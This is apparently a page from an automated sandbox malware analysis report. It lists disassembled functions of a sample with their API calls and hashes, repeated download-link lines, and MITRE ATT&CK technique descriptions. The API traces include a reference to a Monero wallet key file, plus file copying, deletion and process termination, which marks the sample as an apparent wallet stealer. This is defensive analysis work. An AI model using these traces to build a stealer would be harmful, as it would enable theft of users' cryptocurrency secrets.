Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 0c55b28d6fe95d4a3eed2b47e479629fb6189890274b51de284805afb82b9a10
Instruction ID: 013b7061735ea0ca96cf001116dd41ec5431fd1df1275144858f5a467854e411
Opcode Fuzzy Hash: 0c55b28d6fe95d4a3eed2b47e479629fb6189890274b51de284805afb82b9a10
Instruction Fuzzy Hash: 7F2133B1A44204BFDB04EF94DD45FAEBBB8FB48701F108619F905A7680C77999008BA5

Function 00588D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0058951E,00000000), ref: 00588D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00588D62
wsprintfW.USER32 ref: 00588D78

Strings

%hs, xrefs: 00588D6F

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: bdc6361c7e9014a9ff89e325d7ef5df69c06bb42c3e77e5878eeda2f1ce80d13
Instruction ID: af3ce172c73379ed2bb18557b5e3fffe40593c0f6fc4ff2330b646c4e0f400ee
Opcode Fuzzy Hash: bdc6361c7e9014a9ff89e325d7ef5df69c06bb42c3e77e5878eeda2f1ce80d13
Instruction Fuzzy Hash: 7EE0E675A44208BFDB10EB94DD0DF5977BCEB44701F004154FD0997680D9755E109B56

Function 0057D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 00588B60: GetSystemTime.KERNEL32(00590E1A,0130AAF0,005905AE,?,?,005713F9,?,0000001A,00590E1A,00000000,?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 00588B86

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0057D481
lstrlen.KERNEL32(00000000), ref: 0057D698
lstrlen.KERNEL32(00000000), ref: 0057D6AC
DeleteFileA.KERNEL32(00000000), ref: 0057D72B

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: d3373ce2758b95bfc9053333f1e4c88cd97160c6236797d101239721dc2aebce
Instruction ID: 10aeb2be7eac8f696282e6618d0626d5b03c4205b0cb92334977215b258c7a61
Opcode Fuzzy Hash: d3373ce2758b95bfc9053333f1e4c88cd97160c6236797d101239721dc2aebce
Instruction Fuzzy Hash: E191E3729101159AEB04FBA4DC99EEE7738BF94300F50815AF916B6091EF386A09CB76

Function 00583560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 5a7ff94f3a84ac616bfeb86b74be5753e2323737e2260d03397127e2ebceccdf
Instruction ID: 4423c48299b4d51999c0e1c64713937adef88acddc3a806d9fffde9ac27e42a6
Opcode Fuzzy Hash: 5a7ff94f3a84ac616bfeb86b74be5753e2323737e2260d03397127e2ebceccdf
Instruction Fuzzy Hash: 21412D71D10109AFDF04FFA5D889AFEBB74BF54704F008419E81676290EB79AA05CFA2

Function 005894D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 005894EB

Part of subcall function 00588D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0058951E,00000000), ref: 00588D5B
Part of subcall function 00588D50: RtlAllocateHeap.NTDLL(00000000), ref: 00588D62
Part of subcall function 00588D50: wsprintfW.USER32 ref: 00588D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 005895AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 005895C9
CloseHandle.KERNEL32(00000000), ref: 005895D6

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 5e2b52bded4db1f0988fc744abf7c92e649ca1afac63f469586514cbeff7bd3b
Instruction ID: e71160a62f210fae2e465d103ea883a6cfde14e26ef66a96d448df39a8b437f5
Opcode Fuzzy Hash: 5e2b52bded4db1f0988fc744abf7c92e649ca1afac63f469586514cbeff7bd3b
Instruction Fuzzy Hash: F0311E71900208AFDB14EBD0DD49FEDB774FF44300F108559E906AA584DB789A49CB55

Function 00587980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00590E00,00000000,?), ref: 005879B0
RtlAllocateHeap.NTDLL(00000000), ref: 005879B7
GetLocalTime.KERNEL32(?,?,?,?,?,00590E00,00000000,?), ref: 005879C4
wsprintfA.USER32 ref: 005879F3

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: f606ef5eed02b18f6fb458b3ffa1fe366055c0116cd5344edb5cef3c1a9610c1
Instruction ID: fe11bd9979b68adb5b1ac79fbc92ee3d2db28b1f23aa7f70e33988bcfe2a149e
Opcode Fuzzy Hash: f606ef5eed02b18f6fb458b3ffa1fe366055c0116cd5344edb5cef3c1a9610c1
Instruction Fuzzy Hash: EF1118B2904118BACB14AFC9DD45FBEBBF8FB4CB11F10421AF605A2280E2395940CBB5

Function 0058C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0058C74E

Part of subcall function 0058BF9F: __amsg_exit.LIBCMT ref: 0058BFAF

__getptd.LIBCMT ref: 0058C765
__amsg_exit.LIBCMT ref: 0058C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0058C797

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: d685946036ea228ba1d697167ef5f603a4cd74847d1113d17f35b28b1c8bbdab
Instruction ID: 3fa4d590f827e58a4d2ddd95a5994150246b9ea3b9b86f7f632c7552c4daaa05
Opcode Fuzzy Hash: d685946036ea228ba1d697167ef5f603a4cd74847d1113d17f35b28b1c8bbdab
Instruction Fuzzy Hash: 9BF090329046129BF720BBB8580BB4D3FA0BF80720F21414EFD04F61D2DB7469409F66

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

